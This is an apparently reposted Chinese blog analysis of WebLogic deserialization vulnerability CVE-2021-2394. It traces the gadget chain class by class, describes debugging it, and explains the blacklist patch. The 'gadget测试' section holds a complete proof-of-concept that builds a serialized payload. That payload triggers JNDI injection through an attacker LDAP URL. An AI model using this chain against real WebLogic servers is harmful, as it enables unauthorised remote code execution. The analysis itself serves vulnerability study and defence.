Weblogic反序列化漏洞分析之CVE-2021-2394

目录

简介

前置知识

Serializable示例

Externalizable示例

联系weblogic

ExternalizableLite接口

ExternalizableHelperl类

JdbcRowSetImpl类

MethodAttributeAccessor类

AbstractExtractor类

FilterExtractor类

TopNAggregator$PartialResult类

SortedBag$WrapperComparator类

TreeMap类

AttributeHolder类

gadget测试

gadget分析

了解CVE-2021-2394的前世今生

1.为什么使用Externalizable进行反序列化?

2.为什么说这个漏洞其实是CVE-2020-14841与cve-2020-14756的结合体?

CVE-2021-2394的后续修复


本次应该是java最复杂的反序列化链了.......

简介

Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。

剧透一下:这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。

前置知识

GPT回答

在 Java 中,如果一个类实现了 Serializable 接口,那么它可以被序列化和反序列化。Serializable 接口是一个标记接口,没有任何方法需要实现。通过将类标记为 Serializable,您告诉 Java 运行时环境,该类的对象可以以字节流的形式进行序列化和反序列化。

当一个类实现了 Serializable 接口时,它表示该类的对象可以被转换成字节序列,并且可以在网络上传输或者存储到文件中,而不会丢失其状态和数据。这在分布式系统、持久化存储和远程通信等场景中非常有用。

当您将一个对象序列化时,Java 运行时环境将对象的状态转换为字节流。然后,您可以将字节流保存到文件中或通过网络传输。当您想要恢复对象时,可以通过反序列化操作将字节流转换回对象的状态。

在webweblogic中,如果一个类要想序列化和反序列化 它可以implements 这两个接口

区 别SerializableExternalizable
实现复杂度实现简单,Java对其有内建支持实现复杂,由开发人员自己完成
执行效率所有对象由Java统一保存,性能较低开发人员决定哪个对象保存,可能造成速度提升
保存信息保存时占用空间大部分存储,可能造成空间减少
Serializable示例

假设您有一个名为 Person 的 Java 类,它实现了 Serializable 接口,如下所示:

​
import java.io.*;
​
public class Person2 implements Serializable {
​
    private String name;
    private int age;
​
    public Person2(String name, int age) {
        this.name = name;
        this.age = age;
    }
​
    // 其他方法和属性省略
​
    public static void main(String[] args) throws ClassNotFoundException {
        Person2 person = new Person2("Alice", 25);
​
        try {
            // 将 Person 对象序列化到文件中
            FileOutputStream fos = new FileOutputStream("person.ser");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(person);
            oos.close();
​
            // 从文件中反序列化出一个新的 Person 对象
            FileInputStream fis = new FileInputStream("person.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
            Person2 deserializedPerson = (Person2) ois.readObject();
            ois.close();
​
            // 打印结果
            System.out.println("Original Person: " + person);
            System.out.println("Deserialized Person: " + deserializedPerson);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

输出结果

Original Person: test5.Person2@1a4013 Deserialized Person: test5.Person2@6cd28fa7

Externalizable示例

以下是一个完整的示例,包括 Person 类的实现以及一个测试主函数:

import com.tangosol.io.ExternalizableLite;
import com.tangosol.io.pof.PofReader;
import com.tangosol.io.pof.PofWriter;
​
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
​
public class Person implements ExternalizableLite {
​
    private String name;
    private int age;
​
    public Person() {
        // 必须提供默认构造函数
    }
​
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
​
    // 实现接口方法 - 从流中读取对象数据
    @Override
    public void readExternal(DataInput in) throws IOException {
        // 读取 name 和 age 的值
        name = in.readUTF();
        age = in.readInt();
    }
​
    // 实现接口方法 - 将对象数据写入流中
    @Override
    public void writeExternal(DataOutput out) throws IOException {
        // 写入 name 和 age 的值
        out.writeUTF(name);
        out.writeInt(age);
    }
​
    // 其他方法和属性省略
​
    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
​
    public static void main(String[] args) {
        // 创建一个 Person 对象
        Person person1 = new Person("Alice", 25);
​
        try {
            // 将 Person 对象序列化到文件中
            FileOutputStream fos = new FileOutputStream("person.dat");
            DataOutputStream dos = new DataOutputStream(fos);
            person1.writeExternal(dos);
            dos.close();
​
            // 从文件中反序列化出一个新的 Person 对象
            FileInputStream fis = new FileInputStream("person.dat");
            DataInputStream dis = new DataInputStream(fis);
            Person person2 = new Person();
            person2.readExternal(dis);
            dis.close();
​
            // 打印结果
            System.out.println("Original Person: " + person1);
            System.out.println("Deserialized Person: " + person2);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

运行结果

Original Person: Person{name='Alice', age=25} Deserialized Person: Person{name='Alice', age=25}

联系weblogic
ExternalizableLite接口

在weblogic中ExternalizableLite接口位于package com.tangosol.io;

package com.tangosol.io;
public interface ExternalizableLite extends Serializable {
    void readExternal(DataInput var1) throws IOException;
    void writeExternal(DataOutput var1) throws IOException;
}

ExternalizableLite继承了java.io.Serializable, 另外声明了 readExternalwriteExternal 这两个方法。

ExternalizableHelperl类

现在引入一个类ExternalizableHelper (抽象类)

package com.tangosol.util;
public abstract class ExternalizableHelper extends BitHelper {
...
    public static <T> T readObject(DataInput in) throws IOException {
        return readObject(in, (ClassLoader)null);
    }
​
    public static <T> T readObject(DataInput in, ClassLoader loader) throws IOException {
        if (in instanceof PofInputStream) {
            return ((PofInputStream)in).readObject();
        } else {
            Object o = readObjectInternal(in, in.readUnsignedByte(), loader);
            return realize(o, ensureSerializer(loader));
        }
    }
...
​
}

可以看出这个类重写了readObject 方法,是一个静态方法,传入的是DataInput -----是要从流中读取对象数据返回Object吗?

它去调用readObjectInternal 追进去

private static Object readObjectInternal(DataInput in, int nType, ClassLoader loader) throws IOException {
    switch(nType) {
    case 0:
        return null;
    case 1:
        return readInt(in);
    case 2:
        return readLong(in);
    case 3:
        return new Double(in.readDouble());
    case 4:
        return readBigInteger(in);
    case 5:
        return readBigDecimal(in);
    case 6:
        return readUTF(in);
    case 7:
        Binary bin = new Binary();
        bin.readExternal(in);
        return bin;
    case 8:
        return readByteArray(in);
    case 9:
        return readXmlSerializable(in, loader);
    case 10:
        return readExternalizableLite(in, loader);//就是这个方法
    case 11:
        return readSerializable(in, loader);
    case 12:
        return readXmlBean(in, loader);
    case 14:
        return new Float(in.readFloat());
    case 15:
        return new Short(in.readShort());
    case 16:
        return new Byte(in.readByte());
    case 17:
        return in.readBoolean() ? Boolean.TRUE : Boolean.FALSE;
    case 22:
        return in.readBoolean() ? Optional.of(readObject(in)) : Optional.empty();
    case 23:
        return in.readBoolean() ? OptionalInt.of(readInt(in)) : OptionalInt.empty();
    case 24:
        return in.readBoolean() ? OptionalLong.of(readLong(in)) : OptionalLong.empty();
    case 25:
        return in.readBoolean() ? OptionalDouble.of(in.readDouble()) : OptionalDouble.empty();
    case 255:
        return readSerializable(in, loader);
    default:
        throw new StreamCorruptedException("invalid type: " + nType);
    }
}

这里要说一下 nType大致是还原的类型,对于case语句来说 会根据要还原类的类型,选择对应的方法进行解析

而实现了com.tangosol.io.ExternalizableLite 接口的对象则会进入readExternalizableLite 方法:

public static ExternalizableLite readExternalizableLite(DataInput in, ClassLoader loader) throws IOException {
    ExternalizableLite value;
    if (in instanceof PofInputStream) {
        value = (ExternalizableLite)((PofInputStream)in).readObject();
    } else {
        String sClass = readUTF((DataInput)in);
        WrapperDataInputStream inWrapper = in instanceof WrapperDataInputStream ? (WrapperDataInputStream)in : null;
​
        try {
            value = (ExternalizableLite)loadClass(sClass, loader, inWrapper == null ? null : inWrapper.getClassLoader()).newInstance();//重点分析
        } catch (InstantiationException var6) {
            throw new IOException("Unable to instantiate an instance of class '" + sClass + "'; this is most likely due to a missing public no-args constructor: " + var6 + "\n" + getStackTrace(var6) + "\nClass: " + sClass + "\nClassLoader: " + loader + "\nContextClassLoader: " + getContextClassLoader());
        } catch (Exception var7) {
            throw new IOException("Class initialization failed: " + var7 + "\n" + getStackTrace(var7) + "\nClass: " + sClass + "\nClassLoader: " + loader + "\nContextClassLoader: " + getContextClassLoader());
        }
​
        if (loader != null) {
            if (inWrapper == null) {
                in = new WrapperDataInputStream((DataInput)in, loader);
            } else if (loader != inWrapper.getClassLoader()) {
                inWrapper.setClassLoader(loader);
            }
        }
​
        value.readExternal((DataInput)in);//重点分析
        if (value instanceof SerializerAware) {
            ((SerializerAware)value).setContextSerializer(ensureSerializer(loader));
        }
    }
​
    return value;
}

readExternalizableLite 方法中,会根据类名加载类,然后并且实例化出这个类的对象,然后调用它的 readExternal() 方法

至此这段代码的逻辑是非常像Externalizable示例代码的

        // 从文件中反序列化出一个新的 Person 对象
        FileInputStream fis = new FileInputStream("person.dat");
        DataInputStream dis = new DataInputStream(fis);
        Person person2 = new Person();
        person2.readExternal(dis);
        dis.close();

小总结 继承Externalizable接口的对象且是实现了readExternal方法的 可以用ExternalizableHelper 中的静态方法readObject 实现反序列化的逻辑

大致这个样子

    FileInputStream fis = new FileInputStream("person.dat");
    DataInputStream dis = new DataInputStream(fis);
    Person person2 = null;
    //无需new 因为底层ExternalizableLite 会根据类反射 实例化对象
    person2 = ExternalizableHelper.readObject ()  

测试代码

package test4;

import com.tangosol.io.ExternalizableLite;

import com.tangosol.util.ExternalizableHelper;

import java.io.*;

public class Person implements ExternalizableLite {

    private String name;
    private int age;

    public Person() {
        // 必须提供默认构造函数
    }

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // 实现接口方法 - 从流中读取对象数据
    @Override
    public void readExternal(DataInput in) throws IOException {
        // 读取 name 和 age 的值
        name = in.readUTF();
        age = in.readInt();
    }

    // 实现接口方法 - 将对象数据写入流中
    @Override
    public void writeExternal(DataOutput out) throws IOException {
        // 写入 name 和 age 的值
        out.writeUTF(name);
        out.writeInt(age);
    }

    // 其他方法和属性省略

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public static void main(String[] args) {
        // 创建一个 Person 对象
        Person person1 = new Person("Alice", 25);

        try {
            // 将 Person 对象序列化到文件中
            FileOutputStream fos = new FileOutputStream("person.dat");
            DataOutputStream dos = new DataOutputStream(fos);
            ExternalizableHelper.writeObject(dos,person1);


            FileInputStream fis = new FileInputStream("person.dat");
            DataInputStream dis = new DataInputStream(fis);
            Person person2 = ExternalizableHelper.readObject(dis);

            // 打印结果
            System.out.println("Original Person: " + person1);
            System.out.println("Deserialized Person: " + person2);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

测试输出

Original Person: Person{name='Alice', age=25} Deserialized Person: Person{name='Alice', age=25}

正常调用链分析在xlsx文中.......

JdbcRowSetImpl类
public class JdbcRowSetImpl extends BaseRowSet implements JdbcRowSet, Joinable {
    private Connection conn;
    private PreparedStatement ps;
    private ResultSet rs;
    private RowSetMetaDataImpl rowsMD;
    private ResultSetMetaData resMD;
    private Vector<Integer> iMatchColumns;
    private Vector<String> strMatchColumns;
    protected transient JdbcRowSetResourceBundle resBundle;
    static final long serialVersionUID = -3591946023893483003L;
...
    public DatabaseMetaData getDatabaseMetaData() throws SQLException {
        Connection var1 = this.connect();
        return var1.getMetaData();
    }
...

getDatabaseMetaData方法会调用this.connect

private Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());//重点分析
            return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
    }
}

this.connect则调用了InitialContext#lookup,如果this.getDataSourceName()为恶意uri,则可以产生JNDI注入

MethodAttributeAccessor类
public class MethodAttributeAccessor extends AttributeAccessor {
    protected String setMethodName = "";
    protected String getMethodName;
    protected transient Method setMethod;
    protected transient Method getMethod;
...
public Object getAttributeValueFromObject(Object anObject) throws DescriptorException {
    return this.getAttributeValueFromObject(anObject, (Object[])null);
}

protected Object getAttributeValueFromObject(Object anObject, Object[] parameters) throws DescriptorException {
    try {
        if (PrivilegedAccessHelper.shouldUsePrivilegedAccess()) {
            try {
                return AccessController.doPrivileged(new PrivilegedMethodInvoker(this.getGetMethod(), anObject, parameters));
            } catch (PrivilegedActionException var5) {
                Exception throwableException = var5.getException();
                if (throwableException instanceof IllegalAccessException) {
                    throw DescriptorException.illegalAccessWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
                } else {
                    throw DescriptorException.targetInvocationWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
                }
            }
        } else {
            return this.getMethod.invoke(anObject, parameters);//重点分析
        }
    } catch (IllegalArgumentException var6) {
        throw DescriptorException.illegalArgumentWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), var6);
    } catch (IllegalAccessException var7) {
        throw DescriptorException.illegalAccessWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), var7);
    } catch (InvocationTargetException var8) {
        throw DescriptorException.targetInvocationWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), var8);
    } catch (NullPointerException var9) {
        throw DescriptorException.nullPointerWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), var9);
    }
}
...
  protected void setGetMethod(Method getMethod) {
        this.getMethod = getMethod;
    }
}

getAttributeValueFromObject方法中,可以调用invoke来执行任意方法,前提是三个参数可控getMethod、anObject、parameters。其中protected可以通过反射无视,getMethod 可以通过调用setGetMethod 设置

AbstractExtractor类
public abstract class AbstractExtractor<T, E> extends ExternalizableHelper implements ValueExtractor<T, E>, QueryMapComparator, Serializable {
    public static final int VALUE = 0;
    public static final int KEY = 1;
    protected int m_nTarget;
...
    public E extract(T oTarget) {
        if (oTarget == null) {
            return null;
        } else {
            throw new UnsupportedOperationException();
        }
    }
...
    public int compare(Object o1, Object o2) {
        return SafeComparator.compareSafe((Comparator)null, this.extract(o1), this.extract(o2));
    }
...
    public abstract Object getAttributeValueFromObject(Object var1) throws DescriptorException;//抽象方法
...
}

此类的compare方法会调用this.extract

FilterExtractor类
public class FilterExtractor extends AbstractExtractor implements ExternalizableLite, PortableObject, EclipseLinkExtractor {
    //它实现了ExternalizableLite接口,并且父类是AbstractExtractor
    protected static final Class reflectionExtractor = ReflectionExtractor.class;
    protected AttributeAccessor attributeAccessor;//AttributeAccessor对象属性
...
    public Object extract(Object obj) {
        if (obj instanceof Wrapper) {
            obj = ((Wrapper)obj).unwrap();
        }

        if (!this.attributeAccessor.isInitialized()) {
            this.attributeAccessor.initializeAttributes(obj.getClass());
        }

        try {
            return this.attributeAccessor.getAttributeValueFromObject(obj);//重点分析 
            //调用了attributeAccessor(实现了抽象方法getAttributeValueFromObject)
        } catch (Exception var3) {
            return new FilterExtractor.InvalidObject();
        }
    }
...
    //因为implements ExternalizableLite 所以实现了这两个方法
    public void readExternal(DataInput in) throws IOException {
        this.attributeAccessor = SerializationHelper.readAttributeAccessor(in);
    	//这里调用了SerializationHelper的readAttributeAccessor方法
    	//下面补充readAttributeAccessor方法 可以发现调用了ExternalizableHelper.readObject(in)--如此可以序列化
    /*
        public static AttributeAccessor readAttributeAccessor(DataInput in) throws IOException {
        int id = ExternalizableHelper.readInt(in);
        if (id == 0) {
            InstanceVariableAttributeAccessorExtended accessor = new InstanceVariableAttributeAccessorExtended();
            accessor.setAttributeName((String)ExternalizableHelper.readObject(in));
            return accessor;
        } else if (id == 1) {
            MethodAttributeAccessor accessor = new MethodAttributeAccessor();//重点分析
            //new了一个MethodAttributeAccessor对象 剧透一下 这里是绕过补丁的关键
            //前面说了MethodAttributeAccessor有任意函数反射调用的可能
            accessor.setAttributeName((String)ExternalizableHelper.readObject(in));
            accessor.setGetMethodName((String)ExternalizableHelper.readObject(in));
            accessor.setSetMethodName((String)ExternalizableHelper.readObject(in));
            return accessor;
        } else {
            return null;
        }
    }*/
    }

    public void writeExternal(DataOutput out) throws IOException {
        SerializationHelper.writeAttributeAccessor(out, this.attributeAccessor);
    }
...
}
TopNAggregator$PartialResult类
SortedBag$WrapperComparator类
package com.tangosol.util.aggregator;
public class TopNAggregator<K, V, T, E> implements StreamingAggregator<K, V, TopNAggregator.PartialResult<E>, E[]>, ExternalizableLite, PortableObject {
    protected boolean m_fParallel;
    protected ValueExtractor<? super T, ? extends E> m_extractor;
    protected Comparator<? super E> m_comparator;
    protected int m_cResults;
    private transient boolean m_fInit;
    private transient TopNAggregator.PartialResult<E> m_result;
...
    //这个类 implements 了ExternalizableLite接口,也是实现了readExternal相关方法
    public void readExternal(DataInput in) throws IOException {
        this.m_fParallel = in.readBoolean();
        this.m_extractor = (ValueExtractor)ExternalizableHelper.readObject(in);
        this.m_comparator = (Comparator)ExternalizableHelper.readObject(in);
        this.m_cResults = in.readInt();
    }
    TopNAggregator$PartialResult是一个静态内部类,也实现了ExternalizableLite接口,里面有个readExternal方法
    public static class PartialResult<E> extends SortedBag<E> implements ExternalizableLite, PortableObject {
        protected int m_cMaxSize;
    ...
        public boolean add(E value) { //add方法看到调用了父类的add
            if (this.size() < this.m_cMaxSize) {
                return super.add(value);
            } else if (this.m_comparator.compare(value, this.first()) > 0) {
                this.removeFirst();
                super.add(value);
                return true;
            } else {
                return false;
            }
        }
        /*进其父类SortedBag类的add
    	public boolean add(E o) {
        NavigableMap map = this.getInternalMap();
                   /*protected NavigableMap getInternalMap() {//getInternalMap方法是实现
                        return this.m_map;
                    }*/
        while(!Base.equals(o, this.unwrap(map.ceilingKey(o)))) {
            if (map.put(o, NO_VALUE) == null) {
                return true;
            }//在父类add方法中,调用了map.put,而这里的map就是上面的TreeMap对象
        }
        */
    ...
        public void readExternal(DataInput in) throws IOException {
            this.m_comparator = (Comparator)ExternalizableHelper.readObject(in);
        	//遍历还原了m_comparator
            this.m_cMaxSize = ExternalizableHelper.readInt(in);
            this.m_map = this.instantiateInternalMap(this.m_comparator);
        	/*调用了instantiateInternalMap方法并且传入了还原的m_comparator,跟进instantiateInternalMap
        	...
        	最终的把TreeMap对象赋值给了this.m_map  m_map是父类SortedBag中属性
        	*/
            int cElems = in.readInt();

            for(int i = 0; i < cElems; ++i) {
                this.add(ExternalizableHelper.readObject(in));
            }

        }
    ...
    protected NavigableMap instantiateInternalMap(Comparator comparator) {
        return new TreeMap(new SortedBag.WrapperComparator(comparator));
        //这里首先new了一个SortedBag.WrapperComparator,传入comparator,跟进WrapperComparator  
        //之后把new出来的SortedBag.WrapperComparator对象传入了TreeMap构造方法,跟进TreeMap构造方法
        /*
public class TreeMap<K,V>
    extends AbstractMap<K,V>
    implements NavigableMap<K,V>, Cloneable, java.io.Serializable
{
	private final Comparator<? super K> comparator;
	...
    public TreeMap(Comparator<? super K> comparator) {
        this.comparator = comparator;
    }
    ...
}
//在TreeMap构造方法只是对comparator的一个赋值,把刚刚的SortedBag.WrapperComparator对象传递给了this.comparator
        */

        
    }
    protected class WrapperComparator implements Comparator {
        protected final Comparator f_comparator;//内部类属性

        public WrapperComparator(Comparator comparator) {
             this.f_comparator = comparator;//可以看到把comparator的值赋予给了this.f_comparator
           }
        public int compare(Object o1, Object o2) {//可被TreeMap类compare调用
            if (o1 instanceof SortedBag.UniqueElement) {
                return ((SortedBag.UniqueElement)o1).compareTo(o2);
            } else {
                return o2 instanceof SortedBag.UniqueElement ? -((SortedBag.UniqueElement)o2).compareTo(o1) : this.f_comparator.compare(o1, o2);
       //此类的compare方法会调用this.f_comparator.compare
            }
        }
	  ...
      }

...
TreeMap类
public class TreeMap<K,V>
    extends AbstractMap<K,V>
    implements NavigableMap<K,V>, Cloneable, java.io.Serializable
{
    private final Comparator<? super K> comparator;
...
    public V put(K key, V value) {
        Entry<K,V> t = root;
        if (t == null) {
            compare(key, key); // type (and possibly null) check

            root = new Entry<>(key, value, null);
            size = 1;
            modCount++;
            return null;
        }
 		...
    }
    ...
    final int compare(Object k1, Object k2) {
        return comparator==null ? ((Comparable<? super K>)k1).compareTo((K)k2)
            : comparator.compare((K)k1, (K)k2);
    }
    ...
...
}

TreeMap类中,其put方法会调用compare

compare中调用了comparator.compare,此处的comparator是在上个内部类中赋予的值SortedBag.WrapperComparator类(里面有一个Comparator f_comparator属性)

AttributeHolder类
package com.tangosol.coherence.servlet;
public class AttributeHolder extends Base implements Externalizable {
    ...
    public void readExternal(DataInput in) throws IOException {
        this.m_sName = ExternalizableHelper.readUTF(in);
        this.m_oValue = ExternalizableHelper.readObject(in);//调用ExternalizableHelper.readObject实现反序列化读取数据
        this.m_fActivationListener = in.readBoolean();
        this.m_fBindingListener = in.readBoolean();
        this.m_fLocal = in.readBoolean();
    }
    ...
    public void readExternal(ObjectInput in) throws IOException {
        this.readExternal((DataInput)in);
    }
    ...
}

gadget测试

import com.sun.rowset.JdbcRowSetImpl;
import com.supeream.serial.Serializables;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor;
import org.eclipse.persistence.exceptions.DescriptorException;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import org.eclipse.persistence.mappings.AttributeAccessor;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws Exception {
        String ldapurl="ldap://192.168.202.1:1389/2rp7lc";

        MethodAttributeAccessor accessor = new MethodAttributeAccessor();
        accessor.setAttributeName("yangyang");
        accessor.setGetMethodName("connect");
        accessor.setSetMethodName("setConnection");

        Constructor<JdbcRowSetImpl> DeclaredConstructor = JdbcRowSetImpl.class.getDeclaredConstructor();
        DeclaredConstructor.setAccessible(true);
        JdbcRowSetImpl jdbcRowSet = DeclaredConstructor.newInstance();

        jdbcRowSet.setDataSourceName(ldapurl);

        FilterExtractor extractor = new FilterExtractor(accessor);
        FilterExtractor extractor1 = new FilterExtractor(new TLSAttributeAccessor());

        SortedBag sortedBag = new TopNAggregator.PartialResult(extractor1, 2);
        sortedBag.add(jdbcRowSet);

        Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(sortedBag, extractor);

        AttributeHolder attributeHolder = new AttributeHolder();

        Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
        setInternalValue.setAccessible(true);
        setInternalValue.invoke(attributeHolder, sortedBag);

        //serial
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
        objectOutputStream.writeObject(attributeHolder);
        objectOutputStream.close();

        //unserial
        ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
        objectIntputStream.readObject();
        objectIntputStream.close();
    }
    public static class TLSAttributeAccessor extends AttributeAccessor {

        public Object getAttributeValueFromObject(Object o) throws DescriptorException {
            return this.attributeName;
        }

        public void setAttributeValueInObject(Object o, Object o1) throws DescriptorException {
            this.attributeName = "yangyang";
        }
    }
}

ldap成功收到请求这表明已经通过反序列的方式将ladpurl打入lookup方法中

参考weblogic漏洞分析之CVE-2021-2394 - Atomovo - 博客园 (cnblogs.com)

gadget分析

【技术分享】Weblogic CVE-2021-2394 反序列化漏洞分析 (qq.com)

在readobject上打上断点

进入objectinputstream类

继续跟进

在readobject0方法中调用了checkResolve方法

继续跟进readOrdinaryObject

在这个方法中 读取输入流的类 ,并实例化。这个类就是attributeHolder了

检查目标类 是否Externalizable 若是进入if条件中,调用readExternalData方法

在readExternalData方法,调用了对象的readExternal方法,这正是我们所分析的入口了

进入AttributeHolder类的readExternal

继续跟进 来到ExternalizableHelper的readobject方法 ,参数任然是我们的输入流

跟进 ,如下的调试就是Externalizable 反序列化的标准流程

implements ExternalizableLite 的类 in.readUnsignedByte读取的值为10

nRype为10 进入readExternalizableLite方法

这个方法中 会载入输入流的类 并对其实例化

随后 调用实例化对象的readExternal方法。 Externalizable 反序列化的标准流程。为了之后的调试的简略 这里省略readExternal的流程

顺便一说 实例化的value是TopNAggregator的内部类PartialResult对象

进入TopNAggregator类对象的readExternal 方法

这个类的方法就很关键了,一共有3次调用链。

先分析第一次调用链170行

这里就省略了 相关helper方法 因为之前已经调过了 在此跳过。这里value是FiterExtractor对象

对FiterExtractor对象的成员属性attributeAccessor进行还原

这里 new 一个 MethodAttributeAccessor 对象 还原相关成员属性 string类型,返回。可以见的FiterExtractor对象的成员属性attributeAccessor存的是一个MethodAttributeAccessor对象 名字为accessor 里面的有我们可控的参数。

这条就走完了,可以看到TopNAggregator类对象的m_comparetor成员存储的是FiterExtractor对象 其内部成员属性attributeAccessor对象之中的MethodAttributeAccessor对象中的成员属性getMethodName,attributeName(父类继承下的),都是我们可控的变量

再分析第二次调用链172行

SortedBag类为TopNAggregator的父类,这个方法instantiateInternalMap没有被重写,因此跳到父类的instantiateInternalMap方法。

我们传的参数是上一条链所获得的m_comparetor成员, 继续跟进去看看它会调用那些方法!

Treemap构造方法是给成员属性赋值的

看一看是如何构造comparetor的,它把之前得到的成员m_comparetor(FiterExtractor对象)传参进去了

可以见的Treemap的成员属性comparator存的WrapperComparator对象,它之中的f_comparator成员属性就是之前得到的FiterExtractor对象, 别忘了 FiterExtractor对象之中有我们可控的属性。

最终赋值成员变量m_map,请注意这个成员 待会非常的关键。

最后第三次调用链176行

注意:这次输入流读取的类是JdbcRowSetImpl

先调用本类的add方法

在调用父类add方法,这里将进入map.put方法,

在此之前 先分析下它所得到的map对象

en.... 这个map对象就是之前我们所得到的m_map对象(本质是Treemap 里面包裹了我们可控的类属性)

看一看put中又调用了那些方法,这个key是函数调用依次传下来的 为JdbcRowSetImpl对象

跟进compare对象

Treemap类中的comparator是我们之前new Treemap 构造方法赋的值 ,为WrapperComparator 对象,它有一个成员属性f_comparator ,我们已经赋值FiterExtractor对象。

进入WrapperComparator 的compare方法

在221行它调用了成员f_comparator的compare方法,别忘了f_comparator 就是为FiterExtractor对象

进入FilterExtractor 对象的compare方法,注:FilterExtractor extends AbstractExtractor

进入this.extract,由于这个方法被子类FilterExtractor 类继承重写了,因此 它会调到子类的extract方法

filterExtrator 为返序列化得来的其成员属性attributeAccessor为我们可控变量,我们让他为MethodAttributeAccessor对象

由此进入MethodAttributeAccessor对象的getAttributeValueFromObject方法

跟进调用,注意传参为JdbcRowSetImpl对象

注意了 MethodAttributeAccessor对象中的getMethod是一个Method对象,其标识符为transient不可被序列化,但是得益于它内部的处理逻辑,他会依据成员属性string类型GetMethodName 调用reflectionFactory实例化一个Method对象。

这里我们给GetMethodName 设置的值为connect ,getMethod为java.sql.Connection

根据反射机制我们来到JdbcRowSetImpl对象的connect方法

其中datasourcename 就是我们的可控参数 ldapurl

调用lookup触发 JNDI 注入 远程加载恶意类 弹出计算机

更多调用链在xlsx文中.......

了解CVE-2021-2394的前世今生

1.为什么使用Externalizable进行反序列化?

因为在weblogic中某些类继承自Externalizable接口,在反序列化的时候默认会调用readExternal方法。在该方法中没有使用weblogic提供的带有黑名单过滤功能的FilterInputStream去还原类。而是使用了没有黑名单过滤的ObjectInputStream去还原对象。造成黑名单根本就没用上,例如CVE-2020-2551 就是这种情况。

通过上面的的入口调试我们确实发现没有FilterInputStream类的出现

2.为什么说这个漏洞其实是CVE-2020-14841与cve-2020-14756的结合体?

在cve-2020-14841中最为关键的两个类目前已经加入黑名单套餐(LockVersionExtractor类)(MethodAttributeAccessor类)

其中LockVersionExtractor可以使用FilterExtractor代替。对比源码验验货

首先:TopNAggregator类对象的父类m_comparetor成员(数据类型Comparator)存储的是FiterExtractor对象 之后在进入WrapperComparator 的compare方法时调用(可以是父类)compare方法再调用自己的extract方法

----FilterExtractor extends AbstractExtractor 而 AbstractExtractor 实现了Comparator接口

那么对比一下LockVersionExtractor类,

这里就不分析其他调用链是什么调用到LockVersionExtractor中extract方法,给一个调用链参考

CVE-2020-14825的调用链如下:

分析完这两个类的入 在分析这两个类的出

FilterExtractor类如下

它是由extract调用而来

如果是FilterExtractor,这里的attributeAccessor 是 我们给它设置为MethodAttributeAccessor对象,后面将调用JdbcRowSetlmpl的Connection 方法

LockVersionExtractor类如下

它也是extract调用而来

其中protected AttributeAccessor accessor; 我们也给它设置为MethodAttributeAccessor对象


那么MethodAttributeAccessor如何代替。

如果没对象可以替代 那么我们尝试第二种方式,ExternalizableLite的方法反序列化进去绕过FilterInputStream类

巧合的是,FilterExtractor中,正好是通过ExternalizableLite的方式(readExternal)还原内部成员AttributeAccessor的属性

readAttributeAccessor的方法恰好是重写自接口的方法。在方法中它new 一个MethodAttributeAccessor 之后用ExternalizbleHelper的readject方法还原内部成员属性

下面展示具体细节

它去new了一个MethodAttributeAccessor 且通过ExternalizableHelper.readobject(in) 来传递我们可控的变量

CVE-2021-2394的后续修复

CVE-2021-2394:Oralce7月补丁日二次序列化漏洞分析-安全客 - 安全资讯平台

1.增加了两个黑名单package

"oracle.eclipselink.coherence.integrated.internal.querying"
"oracle.eclipselink.coherence.integrated.inter“

2是基于iiopinputstream进行修复

修复前

修复后

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/366084.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【A题完整论文】2024美赛完整论文+代码参考(无偿分享)

